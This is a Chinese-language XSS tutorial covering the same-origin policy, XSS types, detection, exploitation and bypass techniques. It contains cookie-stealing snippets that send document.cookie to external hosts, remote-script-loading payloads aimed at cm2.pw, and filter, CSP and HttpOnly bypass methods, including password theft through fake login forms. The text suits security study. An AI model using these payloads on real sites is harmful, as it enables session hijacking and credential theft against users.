XSS基礎(chǔ)

跨站腳本（英語：Cross-site scripting，通常簡稱為：XSS）是一種網(wǎng)站應(yīng)用程序的安全漏洞攻擊，是代碼注入的一種。它允許惡意用戶將代碼注入到網(wǎng)頁上，其他用戶在觀看網(wǎng)頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。

XSS攻擊通常指的是通過利用網(wǎng)頁開發(fā)時留下的漏洞，通過巧妙的方法注入惡意指令代碼到網(wǎng)頁，使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。這些惡意網(wǎng)頁程序通常是JavaScript，但實際上也可以包括Java，VBScript，ActiveX，F(xiàn)lash或者甚至是普通的HTML。攻擊成功后，攻擊者可能得到更高的權(quán)限（如執(zhí)行一些操作）、私密網(wǎng)頁內(nèi)容、會話和cookie等各種內(nèi)容。

同源策略

同源策略是指在Web瀏覽器中，允許某個網(wǎng)頁腳本訪問另一個網(wǎng)頁的數(shù)據(jù)，但前提是這兩個網(wǎng)頁必須有相同的URI、主機名和端口號，一旦兩個網(wǎng)站滿足上述條件，這兩個網(wǎng)站就被認定為具有相同來源。此策略可防止某個網(wǎng)頁上的惡意腳本通過該頁面的文檔對象模型訪問另一網(wǎng)頁上的敏感數(shù)據(jù)。

同源策略對Web應(yīng)用程序具有特殊意義，因為Web應(yīng)用程序廣泛依賴于HTTP cookie來維持用戶會話，所以必須將不相關(guān)網(wǎng)站嚴格分隔，以防止丟失數(shù)據(jù)泄露。

值得注意的是同源策略僅適用于腳本，這意味著某網(wǎng)站可以通過相應(yīng)的HTML標簽訪問不同來源網(wǎng)站上的圖像、CSS和動態(tài)加載腳本等資源。而跨站請求偽造就是利用同源策略不適用于HTML標簽的缺陷。

舉例：

跨域方法總結(jié)

HTML標簽

<script> 等帶src屬性的標簽都可以跨域加載資源，而不受同源策略的限制。每次加載時都會由瀏覽器發(fā)送一次GET請求，通過src屬性加載的資源，瀏覽器會限制JavaScript的權(quán)限，使其不能讀寫返回的內(nèi)容。

常見標簽：

<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>
document.domain

原理：相同主域名不同子域名下的頁面，可以設(shè)置document.domain讓它們同域

我們只需要在跨域的兩個頁面中設(shè)置document.domain就可以了。修改document.domain的方法只適用于不同子域的框架間的交互，要載入iframe頁面。

例如：

在頁面 http://a.example.com/a.html 設(shè)置document.domain

<iframe id = "iframe" src="http://b.example.com/b.html" onload = "test()"></iframe>
<script type="text/javascript">
    document.domain = 'example.com';//設(shè)置成主域
    function test(){
        alert(document.getElementById('?iframe').contentWindow);//contentWindow 可取得子窗口的 window 對象
    }
</script>

2、在頁面http:// b.example.com/b.html 中設(shè)置document.domain

<script type="text/javascript">
    document.domain = 'example.com';//在iframe載入這個頁面也設(shè)置document.domain，使之與主頁面的document.domain相同
</script>

Window.name

在javascript中，Window 對象表示瀏覽器中打開的窗口，而name屬性可設(shè)置或返回存放窗口的名稱的一個字符串。

window.name有一個奇妙的性質(zhì)，頁面如果設(shè)置了window.name，那么在不關(guān)閉頁面的情況下，即使進行了頁面跳轉(zhuǎn)location.href=…，這個window.name還是會保留。

利用window.name的性質(zhì)，我們可以在iframe中加載一個跨域頁面。

這個頁面載入之后，讓它設(shè)置自己的window.name，然后再讓它進行當前頁面的跳轉(zhuǎn)，跳轉(zhuǎn)到與iframe外的頁面同域的頁面，此時window.name是不會改變的。

這樣，iframe內(nèi)外就屬于同一個域了，且window.name還是跨域的頁面所設(shè)置的值。

假設(shè)我們有3個頁面，

a.com/index.html
a.com/empty.html
b.com/index.html

（1）在a.com/index.html 頁面中嵌入一個iframe，設(shè)置src為b.com/index.html

（2）b.com/index.html 載入后，設(shè)置window.name，然后再使用location.href='a.com/empty.html’跳轉(zhuǎn)到與iframe外頁面同域的頁面中。

（3）在a.com/index.html 頁面中，就可以通過$(‘iframe’).contentWindow.name來獲取iframe內(nèi)頁面a.com/empty.html 的window.name值了，而這個值正是b.com/index.html 設(shè)置的。

window.postMessage

window.postMessage(message, targetOrgin)方法是html5新引進的特性。

調(diào)用postMessage方法的window對象是指要接受消息的哪一個window對象，該方法的第一個參數(shù)message為要發(fā)送的消息，類型只能為字符串；第二個參數(shù)targetOrgin用來限定接收消息的那個window對象所在的域，如果不想限定域，可以使用通配符*。

需要接收消息的window對象，可是通過監(jiān)聽自身的message時間來獲取傳過來的消息，消息內(nèi)容存儲在該事件對象的data屬性中。

location.hash

location.hash 方式跨域，是子框架具有修改父框架 src 的 hash 值，通過這個屬性進行傳遞數(shù)據(jù)，且更改 hash 值，頁面不會刷新。但是傳遞的數(shù)據(jù)的字節(jié)數(shù)是有限的。

詳細參考：https://xz.aliyun.com/t/224#toc-3

a.html欲與b.html跨域相互通信，通過中間頁c.html來實現(xiàn)。 三個頁面，不同域之間利用iframe的location.hash傳值，相同域之間直接js訪問來通信。

具體實現(xiàn)步驟：一開始a.html給b.html傳一個hash值，然后b.html收到hash值后，再把hash值傳遞給c.html，最后c.html將結(jié)果放到a.html的hash值中。

JSONP跨域

原理：

<script type="text/javascript">
    function dosomething(jsondata){
        //處理獲得的json數(shù)據(jù)
    }
</script>
<script src="http://haorooms.com/data.php?callback=dosomething"></script>

后臺代碼：

<?php
$callback = $_GET['callback'];//得到回調(diào)函數(shù)名
$data = array('a','b','c');//要返回的數(shù)據(jù)
echo $callback.'('.json_encode($data).')';//輸出
?>

跨域資源共享（CORS）

原理：服務(wù)器設(shè)置Access-Control-Allow-Origin HTTP響應(yīng)頭之后，瀏覽器將會允許跨域請求

CORS是HTML5標準提出的跨域資源共享(Cross Origin Resource Share)，支持GET、POST等所有HTTP請求。CORS需要服務(wù)器端設(shè)置Access-Control-Allow-Origin頭，否則瀏覽器會因為安全策略攔截返回的信息。

Access-Control-Allow-Origin: * # 允許所有域名訪問，或者
Access-Control-Allow-Origin: http://a.com # 只允許所有域名訪問

CORS又分為簡單跨域和非簡單跨域請求，有關(guān)CORS的詳細介紹請看阮一峰的跨域資源共享 CORS 詳解，里面講解的非常詳細。

CSP-內(nèi)容安全策略

CSP（Content Security Policy）即內(nèi)容安全策略，為了緩解很大一部分潛在的跨站腳本問題，瀏覽器的擴展程序系統(tǒng)引入了內(nèi)容安全策略（CSP）的一般概念。這將引入一些相當嚴格的策略，會使擴展程序在默認情況下更加安全，開發(fā)者可以創(chuàng)建并強制應(yīng)用一些規(guī)則，管理網(wǎng)站允許加載的內(nèi)容。

CSP的實質(zhì)就是白名單機制，對網(wǎng)站加載或執(zhí)行的資源進行安全策略的控制。

關(guān)于CSP繞過，在下面的XSS Bypass - CSP繞過板塊中有所介紹。

XSS分類及對比

最常見的三種分類：

反射型（非持久型）
存儲型（持久型）
DOM型

反射型
反射型XSS只是簡單的把用戶輸入的數(shù)據(jù)從服務(wù)器反射給用戶瀏覽器，要利用這個漏洞，攻擊者必須以某種方式誘導(dǎo)用戶訪問一個精心設(shè)計的URL（惡意鏈接），才能實施攻擊。

舉例來說，當一個網(wǎng)站的代碼中包含類似下面的語句，

<?php echo "<p>hello,$_GET['user']</p>"; ?>

那么在訪問時設(shè)置

xxxxxx/?user=</p><script>alert("hack")</script><p>

則可執(zhí)行預(yù)設(shè)好的JavaScript代碼。

漏洞成因
當用戶的輸入或者一些用戶可控參數(shù)未經(jīng)處理地輸出到頁面上，就容易產(chǎn)生XSS漏洞。主要場景有以下幾種：

1、將不可信數(shù)據(jù)插入到HTML標簽之間時，例如DIV, P, TD；

2、將不可信數(shù)據(jù)插入到HTML屬性里時，形如：

<div width=$INPUT> …content… </div>

3、將不可信數(shù)據(jù)插入到SCRIPT里時，如下：

<script>
var message = ” $INPUT “;
</script>

4、還有插入到Style屬性里的情況，同樣具有一定的危害性

<span style=” property : $INPUT ”> … </span>

5、將不可信數(shù)據(jù)插入到HTML URL里時，形如：

<a href=”http://www.abcd.com?param= $INPUT ”> Link Content </a>

6、使用富文本時，沒有使用XSS規(guī)則引擎進行編碼過濾。

對于以上的幾個場景，若服務(wù)端沒有做好防范措施，就會出現(xiàn)漏洞隱患。

利用方式
反射型攻擊流程：

DOM型
通過修改頁面的DOM節(jié)點形成的XSS，稱之為DOM Based XSS

例如這么一個頁面：

<html>
<head>
<title>DOM Based XSS Demo</title>
<script>
function xsstest()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = "<img
src='"+str+"'></img>";
}
</script>
</head>
<body>
<div id="output"></div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
</body>
</html>

在這段代碼中，submit按鈕的onclick事件調(diào)用了xsstest()函數(shù)。而在xsstest()中，修改了頁面的DOM節(jié)點，通過innerHTML把一段用戶數(shù)據(jù)當作HTML寫入到頁面中，造成了DOM Based XSS。

當用戶輸入： x’ οnerrοr=’javascript:alert(/xss/) ，代碼就變成了：

<img src='x' onerror='javascript:alert(/xss/)'></img>

最后腳本被執(zhí)行，出現(xiàn)彈窗。

前面兩種惡意腳本都會經(jīng)過服務(wù)器端然后返回給客戶端，相對DOM型來說比較好檢測與防御，而DOM型不用將惡意腳本傳輸?shù)椒?wù)器在返回客戶端，即DOM型XSS一般和服務(wù)器的解析響應(yīng)沒有直接的關(guān)系，而是在JavaScript腳本動態(tài)執(zhí)行的過程中產(chǎn)生的。

兩個典型的DOM過程

1）反射型DOM base XSS

2）存儲型DOM base XSS

DOM XSS的利用
確定基于DOM型的XSS漏洞，一種有效的方法是，檢查所有客戶端JavaScript，看其中是否使用任何可能會導(dǎo)致漏洞的DOM屬性。

檢查每一段客戶端JavaScript，看其中是否出現(xiàn)以下API，它們可用于訪問通過一個專門設(shè)計的URL控制的DOM數(shù)據(jù)；

 document.location
 document.URL
 document.URLUnencoded
 document.referrer
 window.location

在每一個使用上述API的位置，仔細檢查那里的代碼，確定應(yīng)用程序如何處理用戶可控的數(shù)據(jù)；以及是否可以使用專門設(shè)計的輸入來執(zhí)行JavaScript。

尤其注意檢查并測試控制的數(shù)據(jù)被傳送至以下任何一個API的情況：

document.write()
document.writeln()
document.body.innerHtml eval()
window.execScript()
window.setInterval()
window.setTimeout()

其它類型
mXSS
mXSS中文是突變型XSS，指的是原先的Payload提交是無害不會產(chǎn)生XSS，而由于一些特殊原因，如反編碼等，導(dǎo)致Payload發(fā)生變異，導(dǎo)致的XSS。
mXSS圖解：

其中由于innerHTML會將HTML實體，CSS轉(zhuǎn)義字符，ANSI編碼等進行反轉(zhuǎn)義，因此原來被轉(zhuǎn)義之后認為安全的用戶輸入很有可能在繞過過濾器之后被反轉(zhuǎn)回去。

下面的漏洞是存在于以前版本的PC的QQ客戶端的頁面預(yù)覽功能。

這是博客園提交的一篇文章，可以看到，提交的XSS Payload已經(jīng)被轉(zhuǎn)義了，不產(chǎn)生危害。

上圖是在QQ客戶端里分享上面的博客園那篇文章的鏈接，而QQ存在網(wǎng)址預(yù)覽功能，于是點擊網(wǎng)址可以在右側(cè)顯示出優(yōu)化后的頁面的內(nèi)容，就導(dǎo)致了XSS的產(chǎn)生；這個預(yù)覽功能實際上是QQ客戶端內(nèi)嵌了一個網(wǎng)頁，這個頁面對原網(wǎng)頁內(nèi)容進行提取和處理的過程中，將原本無害的XSS Payload進行了轉(zhuǎn)碼操作，于是導(dǎo)致了Payload 變異而產(chǎn)生了XSS。

uXSS

UXSS全稱Universal Cross-Site Scripting，翻譯過來就是通用型XSS，也叫Universal XSS。UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。UXSS 可以理解為Bypass 同源策略。

常見的XSS攻擊的是因為客戶端或服務(wù)端的代碼開發(fā)不嚴謹?shù)葐栴}而存在漏洞的目標網(wǎng)站或者應(yīng)用程序。這些攻擊的先決條件是頁面存在漏洞，而它們的影響往往也圍繞著漏洞頁面本身的用戶會話。換句話說，因為瀏覽器的安全功能的影響，XSS攻擊只能讀取受感染的會話，而無法讀取其他的會話信息，也就是同源策略的影響。

UXSS保留了基本XSS的特點，利用漏洞，執(zhí)行惡意代碼，但是有一個重要的區(qū)別：

不同于常見的XSS，UXSS是一種利用瀏覽器或者瀏覽器擴展漏洞來制造產(chǎn)生XSS的條件并執(zhí)行代碼的一種攻擊類型。

漏洞挖掘/檢測

Fuzzing技術(shù)

Fuzzing（模糊測試）是挖掘漏洞最常用的手段之一，不止是XSS，應(yīng)該可以說Fuzzing可以用于大部分類型的漏洞挖掘。通俗可以把這種方式理解為不斷嘗試的過程。

Fuzzing流程圖（出處）：

XSS fuzzing技術(shù) 推薦閱讀：https://www.fooying.com/the-art-of-xss-2-xss-fuzzing/

代碼審計

XSS數(shù)據(jù)源
即可以由外部（不受信任）源控制的輸入點：

URL

location

location.pathname

location.search

location.hash

document.URL

document.documentURI

document.baseURI

Navigation

window.name

document.referer

Communication

Ajax

Fetch

WebSocket

PostMessage

Storage

Cookie

LocalStorage

SessionStotage

論壇文章：通過代碼審計找出網(wǎng)站中的XSS漏洞實戰(zhàn)

XSS的利用

利用XSS竊取cookie
竊取cookie是xss利用最常見的手段，攻擊者有了cookie就相當于擁有了“管理員”身份。通常需要配合xss平臺來進行攻擊，當被攻擊者訪問到有惡意代碼的頁面，他的cookie就會被發(fā)送到xss平臺。

常用獲取cookie的js代碼如下：

<img src="http://localhost/XSS_cookie.php?cookie='+document.cookie"></img>
<script>new Image().src="http://localhost/XSS/xss_cookie.php?cookie="+document.cookie;</script>

其中本地的XSS_cookie.php中的內(nèi)容如下：

XSS修改網(wǎng)頁
該利用方式的前提是網(wǎng)站必須存在存儲型xss漏洞，并且會將結(jié)果返回到頁面上。我們可以在源碼中插入一段js代碼，作用在于獲取網(wǎng)站源碼中的標簽，然后修改其中的屬性值，達到修改網(wǎng)頁的效果。也可以構(gòu)造彈窗等誘導(dǎo)被攻擊者輸入賬號密碼等關(guān)鍵信息。

XSS獲取用戶信息

利用xss除了能夠獲取用戶cookie，還能獲取諸如瀏覽器版本、外網(wǎng)IP地址、瀏覽器安裝的插件類型等信息。比如alert(navigator.userAgent); 能夠讀取userAgent內(nèi)容；利用java環(huán)境，調(diào)用java Applet的接口獲取客戶端本地ip等。

XSS+CSRF 組合拳

組合拳思路

存儲型 XSS + CSRF（存儲型 XSS 攻擊代碼中加入 CSRF 代碼鏈接）

存儲型XSS + CSRF

其中存儲型xss payload：

<script src="x" οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>

可知該javascript腳本會打開http://localhost/csrf.html的窗口。我們可以通過csrf利用工具生成隱匿的惡意csrf.html文件，再通過存儲型xss模擬用戶訪問該頁面，最終達成在用戶不知不覺的情況下執(zhí)行跨站請求的操作。

盲打XSS(Blind XSS)

成因

常規(guī)的XSS攻擊是通過頁面返回內(nèi)容中JS攻擊代碼的生效與否來判斷XSS的攻擊是否成功；而對于一些網(wǎng)頁功能，比如反饋，我們可以發(fā)現(xiàn)，不管你提交什么內(nèi)容，返回的內(nèi)容都是”感謝您的反饋”類似的語句，并不會根據(jù)你提交的內(nèi)容而在頁面中顯示不同的內(nèi)容，對于這樣的內(nèi)容提交點，就無法通過頁面反饋判斷攻擊代碼是否注入成功，那么就可以通過XSS盲打。

Blind XSS 是一種持久型的XSS，依靠目標web頁面的代碼中的漏洞，允許惡意代碼插入到web控件中，被服務(wù)器存儲到數(shù)據(jù)庫或者網(wǎng)站設(shè)置文件中。這些惡意代碼將被作為HTML響應(yīng)頁面的一部分向其他用戶提供服務(wù)，而不會被檢測。

常見場景

盲打XSS的常見目標：登錄表單及論壇/留言板

登錄表單經(jīng)常從網(wǎng)頁接收輸入的用戶名，并將它保存到一個之后可以被查看的日志文件中。因此，一次在登錄表單的“用戶名”模塊輸入惡意代碼后的失敗的登錄，將會導(dǎo)致服務(wù)器將輸入保存到日志中，這樣日志中就將惡意代碼當做“用戶名”保存。攻擊者可以執(zhí)行一些這樣的登錄嘗試，為了將惡意代碼傳入到日志數(shù)據(jù)庫中或日志文件中。當管理員通過web的形式瀏覽日志時，惡意代碼就會被執(zhí)行。

類似于之前的場景，攻擊者也可以在論壇或留言板的主題標題中插入惡意代碼。服務(wù)器通常會將它們提交的數(shù)據(jù)保存到數(shù)據(jù)庫中，并且存儲的信息對其他人可見，比如版主等。

利用

XSS盲打一般通過XSS盲打平臺，在XSS盲打平臺建立項目，會生成項目攻擊鏈接，實際上就是一個類似JS文件的訪問鏈接，這個JS文件中其中至少包含一個功能，那就是向盲打平臺發(fā)送GET/POST請求傳輸數(shù)據(jù)回來，比如Cookie，這樣的話，類似在反饋頁面提交的攻擊代碼一旦生效，就等于JS代碼被執(zhí)行，那么就會向盲打平臺返回數(shù)據(jù)，那就說明攻擊成功了；假如一直沒有返回數(shù)據(jù)，那就說明提交的攻擊代碼沒有執(zhí)行或者執(zhí)行出問題，也就證明攻擊失敗。

盲打平臺的項目：

開啟HttpOnly下的利用

HttpOnly概念：HttpOnly是Set-Cookie HTTP響應(yīng)頭中包含的附加標志。生成cookie時使用HttpOnly標志有助于降低客戶端腳本訪問受保護cookie的風(fēng)險（如果瀏覽器支持它）。如果HTTP響應(yīng)頭中包含HttpOnly標志，客戶端腳本就無法訪問cookie。因此，即使存在跨站點腳本（XSS）缺陷，且用戶意外訪問利用此漏洞的鏈接，瀏覽器也不會向第三方透露cookie。那么我們可以通過XSS直接在源站上完成操作，不直接獲取cookie。

1.phpinfo頁

偽造對方身份訪問同站的phpinfo頁面，因為同域所以通過ajax提交訪問可以讀取到responseText，其中$_SERVER[“HTTP_COOKIE”]會打印出具有httponly屬性的cookies。

優(yōu)點：成功率很高，最不容易被察覺，也是最常用的一種方式。

缺點：需要phpinfo頁，條件苛刻。

2.框架釣魚

通過標簽嵌入一個遠程域，完全撐開后，以覆蓋原有的頁面。

優(yōu)點：無跳轉(zhuǎn)，域名無改變。

缺點：通常會覆蓋某個正常的頁面，管理員易察覺。

3.跳轉(zhuǎn)釣魚

通過購買相似域名，構(gòu)建相同的釣魚頁面，使受害者跳轉(zhuǎn)至釣魚站。

優(yōu)點：主動性較強，可主動釣魚。

缺點：成本較高，且由于頁面跳轉(zhuǎn)過于明顯，所以此方法十分容易被發(fā)現(xiàn)。

4.歷史密碼

通過js偽造登錄表單，欺騙瀏覽器自動填入，由此獲取瀏覽器記住的歷史密碼。

優(yōu)點：不易被發(fā)現(xiàn)，可直接獲取明文，成功率較高。

缺點：各內(nèi)核瀏覽器兼容性不一，最新版google已不支持http協(xié)議下的自動填入功能。

5.獲取源碼

通過xss獲取后端頁面源碼，常?？梢园l(fā)現(xiàn)一些越權(quán)訪問，或者配合CSRF打組合拳去添加新用戶或者執(zhí)行其他的功能，以及通過審計后臺js發(fā)現(xiàn)一些漏洞等。

優(yōu)點：信息獲取的比較詳細，也可以獲取到后臺賬號名稱。

缺點：局限性較大，不易于利用。

6.通過xss偽造oauth等授權(quán)請求，遠程登錄

推薦閱讀：sourse

Oauth簡介

Oauth這種機制允許第三方獲取用戶賬戶的長期訪問權(quán)限，之前已經(jīng)有攻擊者濫用過該機制，誘騙用戶點擊授權(quán)按鈕。 授權(quán)第三方應(yīng)用后，用戶可以為第三方應(yīng)用提供一個長期可用的令牌，第三方應(yīng)用可以通過不同方式，利用該令牌訪問用戶賬戶。這是在cookie受保護的情況下，攻擊者能夠長期有效、不受限制、隱蔽地訪問受害者賬戶的方法。

由于我們能以用戶的身份執(zhí)行一些操作（無cookie情況下），那么只要Oauth的授權(quán)頁面與XSS點同源，那么就能以用戶的身份安裝Oauth應(yīng)用。

其它

xss的利用方式多種多樣，遠不止以上的幾種，比方說還能夠利用XSS+CSRF組合拳來添加管理員、利用html5的canvas來截取客戶的屏幕，還有針對移動端的xss攻擊等。思路有很多，此處便不展開討論了。

網(wǎng)站推薦：http://www.xss-payloads.com/

XSS payload

總結(jié)再多不如給個github鏈接[dog]：

PayloadsAllTheThings/XSS Injection

xss-payload-list

XSS Filter Evasion Cheat Sheet | OWASP

以及：

2020年仍然有效的一些XSS Payload

XSS Bypass

常規(guī)的繞過

xss繞過防御通過構(gòu)造特殊的payload來達成目標，方法主要有以下幾種：

轉(zhuǎn)換大小寫
大小寫混寫

<ImG sRc=x onerRor=alert("xss");>
<ImG sRc=x onerRor=alert("xss");>

雙引號改單引號
引號改為/，用/代替空格

<img/src="x"/οnerrοr=alert("xss");>

用全角字符
利用link遠程包含js文件
在無CSP的情況下才可以

<link rel=import >

字符拼接
a.利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

b.利用top

<script>top["al"+"ert"](`xss`);</script>

使用javascript偽協(xié)議
使用回車、空格等特殊字符
在css的style中使用/**/注釋符
使用字符編碼
HTML編碼 十六/八進制編碼 base64編碼 ASCII編碼 HEX編碼繞過 Unicode編碼

以下標簽屬性值可以被編碼：

javascript
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

字符集

有時可用一些非標準編碼繞開過濾器

UTF-7、US-ASCII、UTF-16

利用事件觸發(fā)xss
以上多數(shù)是存在過濾情況下的bypass方法，可以結(jié)合XSS payload下的內(nèi)容一起學(xué)習(xí)。
長度限制的繞過

1.eval(name)

這可能是一個可以執(zhí)行任意javascript的最短的有效負載。name屬性可以被分配任何代碼，并且也繼承了跨域。這給了我們一個好處，使我們可以不受任何限制地執(zhí)行任何payload，除非頁面重寫name。

POC: https://attacker.cm2.pw/?xss=name=“d=document;s=d.createElement(‘script’);s.src=’//cm2.pw’;d.body.appendChild(s)”;open(’//victim.cm2.pw/?xss=

Payload 長度:

‘javascript:eval(name)’.length==21

2.import

這是獲取外部javascript的另一個最短的payload，但是只能在基于Chromium的瀏覽器上工作。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:import(//?.?/))

Payload 長度:

 'javascript:import(/\?.?/)'.length==24

3.$.getsc ript

這是一個非常有名的jQuery函數(shù)，用來加載外部javascript。在全局上下文中獲取并執(zhí)行腳本，就像script標簽加載的一樣。但是，這要求jQuery已經(jīng)在頁面中加載。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:$.getsc ript(//cm2.pw/))

Payload 長度:

 'javascript:$.getsc ript(/\?.?/)'.length==29

4.$.get

這是另一個jQuery函數(shù)，如果返回的Content類型設(shè)置為text/javascript，則該函數(shù)可以加載和執(zhí)行外部ja vasc ript。這實際上是一個僅在jQuery 3.0.0之前能生效的漏洞。

POC:

https://victim.cm2.pw/?xss=[Click](https://nosec.org/home/detail/ja vasc ript:$.get(//cm2.pw/))

Payload 長度:

 'javascript:$.get(/\?.?/)'.length==23

使用現(xiàn)有元素和/或?qū)傩?/p>

找到由用戶部分或完全控制的HTML元素和ja vasc ript屬性值并不罕見。雖然這可能需要花費一些時間，但是當插入的XSS長度受限時，它可以提供巨大的幫助。例如，大多數(shù)Ajax驅(qū)使應(yīng)用存儲hash標識符以便于導(dǎo)航。

如果頁面存儲hash如下；

 const hash = document.location.hash;

我們可以用它來加載外部腳本；

 eval("'"+hash)

POC:

https://victim.cm2.pw/?xss=const hash=document.location.hash;[Click](https://nosec.org/home/detail/ja vasc ript:eval(`'`%2bhash))#';d=document;s=d.createElement('sc ript');s.src='//cm2.pw';d.body.appendChild(s)

   Payload 長度:

`ja vasc ript:eval("'"+hash)`.length==25

還有些無現(xiàn)成案例的繞過方法，可以參考：https://nosec.org/home/detail/2032.html

CSP(內(nèi)容安全策略)繞過
Content Security Policy （CSP）內(nèi)容安全策略，是一個附加的安全層，有助于檢測并緩解某些類型的攻擊，包括跨站腳本（XSS）和數(shù)據(jù)注入攻擊。

CSP的特點就是它是在瀏覽器層面做的防護，是和同源策略同一級別，除非瀏覽器本身出現(xiàn)漏洞，否則不可能從機制上繞過。

CSP只允許被認可的JS塊、JS文件、CSS等解析，只允許向指定的域發(fā)起請求。

利用頁面預(yù)加載

瀏覽器為了增強體驗，讓瀏覽器更有效率，就有個預(yù)加載的功能，體是利瀏覽器空閑時間去加載指定的內(nèi)容，然后緩存起來。這個技術(shù)細分為DNS-prefetch、subresource、prefetch、preconnect、 prerender。HTML5??預(yù)加載是?link標簽的rel屬性來指定的。如果csp頭有 unsafe-inline，則?預(yù)加載的?式可以向外界發(fā)出請求，例如

利用302重定向

利用url跳轉(zhuǎn)可以回避嚴格的CSP。

在允許unsafe-inline的情況下，可以用window.location，或者window.open之類的方法進行跳轉(zhuǎn)繞過。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

在 default-src ‘none’ 的情況下，可以使用 meta 標簽實現(xiàn)跳轉(zhuǎn)

 <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

標簽配合站內(nèi)的某些可控 JS 點擊操作來跳轉(zhuǎn)

 <script>  $(#foo).click()</script><a id="foo" href="xxxxx.com">

利用網(wǎng)站本身的跳轉(zhuǎn)接口

http://foo.com/jmp.php?url=attack.com

利用瀏覽器補全

有些網(wǎng)站限制只有某些腳本才能使用，往往會使用

Content-Security-Policy: default-src ‘none’;script-src ‘nonce-abc’
那么當腳本插入點為如下的情況時

<p>插入點</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

<script src=//14.rs a="

這樣會拼成一個新的script標簽，其中的src可以自由設(shè)定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
MIME Sniff（利用上傳文件）

舉例來說，csp禁?跨站讀取腳本，但是可以跨站讀img，那么傳?個 含有腳本的img，再

利用iframe標簽

1.如果頁面A中有CSP限制，但是頁面B中沒有，同時A和B同源，那么就可以在A頁面中包含B頁面來繞過CSP：

<iframe src="B"></iframe>

2.在Chrome下，iframe標簽支持csp屬性，這有時候可以用來繞過一些防御，例如http://xxx頁面有個js庫會過濾XSS向量，我們就可以使用csp屬性來禁掉這個js庫。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

可見繞過CSP的姿勢其實有很多，在不同的情況下有不同的繞過方法，以上只介紹了常見的幾種。

X-XSS-Protection 繞過

xss-protection概念

從IE8 開始，IE 瀏覽器內(nèi)置了一個針對XSS攻擊的防護機制，這個瀏覽器內(nèi)置的防護機制就是所謂的XSS filter，這個防護機制主要用于減輕反射型XSS 攻擊帶來的危害。

基于Webkit 內(nèi)核的瀏覽器（比如Chrome）隨后也增加一個名為XSS auditor 的防護機制，作用和IE中的XSS filter類似。這兩種XSS防護機制的目的都很簡單，如果瀏覽器檢測到了含有惡意代碼的輸入被呈現(xiàn)在HTML文檔中，那么這段呈現(xiàn)的惡意代碼要么被刪除，要么被轉(zhuǎn)義，惡意代碼不會被正常的渲染出來，當然了，瀏覽器是否要攔截這段惡意代碼取決于瀏覽器的XSS防護設(shè)置。

至于怎么設(shè)置瀏覽器的XSS防護機制，其實很簡單，只要在HTTP響應(yīng)報文的頭部增加一個X-XSS-Protection 字段，明確地告訴瀏覽器XSS filter/auditor該如何工作。 X-XSS-Protection 的字段有三個可選配置值

0： 表示關(guān)閉瀏覽器的XSS防護機制

1：刪除檢測到的惡意代碼， 如果響應(yīng)報文中沒有看到X-XSS-Protection 字段，那么瀏覽器就認為X-XSS-Protection配置為1，這是瀏覽器的默認設(shè)置

1; mode=block：如果檢測到惡意代碼，則不渲染惡意代碼

Chrome XSS Auditor - SVG Bypass

原始 PoC :

https://localhost/<svg><script>/<1/>alert(0)</script>

官方給出補丁中的描述對這一漏洞進行了介紹，大意是，當過濾器過濾 script 標簽的內(nèi)容時，第一個區(qū)塊的過濾結(jié)果將會影響后續(xù)區(qū)塊。如果第一個區(qū)塊被處理為空時，過濾匹配將會失敗。

詳細參考(漏洞原理分析)：soursel

關(guān)于更多的Chrome XSS Auditor bypass參考：sourse

NoScript bypass

利用白名單站點的Cross Site Script漏洞

在NoScript安全機制中，因為白名單中的站點是允許在瀏覽器中執(zhí)行JavaScript腳本的，只要有一個簡單的XSS漏洞就可以了。雖然NoScript本身也提供了cross-sitescript過濾器，但是它并不能完全阻止XSS攻擊。

利用MITM攻擊

我們知道NoScript是通過白名單上的站點來確定哪些網(wǎng)站可以自由執(zhí)行腳本。也就是說，所有的安全全部依賴于白名單上網(wǎng)站的站點安全，以及該網(wǎng)站所在的內(nèi)網(wǎng)的安全情況。

那么，只要在內(nèi)網(wǎng)中欺騙用戶的瀏覽器，就能執(zhí)行JavaScript腳本，NoScript就能被繞過。

以上兩種方法的實例演示：http://www.mottoin.com/detail/503.html

XSS 平臺和工具

XSS平臺
xss平臺是對xss漏洞進行利用的程序，網(wǎng)上有許多類似的開放平臺，但是想要好的體驗就得自己搭建一個。以下是搭建XSS平臺的參考鏈接：

Xss平臺源碼——來自論壇

https://github.com/trysec/BlueLotus_XSSReceiver——github

BeEF-XSS

BeEF是一款專注于Web瀏覽器的滲透測試工具，它內(nèi)置有許多的payload，其中的XSS模塊功能十分強大。

XSStrike

XSStrike是一個xss檢測工具，配備了四個手工編寫的解析器、一個智能的payload生成器、一個強大的fuzzing引擎和一個速度很快的爬蟲。XSStrike不像其他工具那樣注入payload并檢查它的工作，而是使用多個解析器分析響應(yīng)，然后通過與fuzzing引擎集成的上下文分析來保證有效載荷的工作。

除此之外，XSStrike還具有網(wǎng)頁爬蟲、fuzzing、參數(shù)發(fā)現(xiàn)和WAF檢測功能。同時能夠掃描DOM XSS漏洞。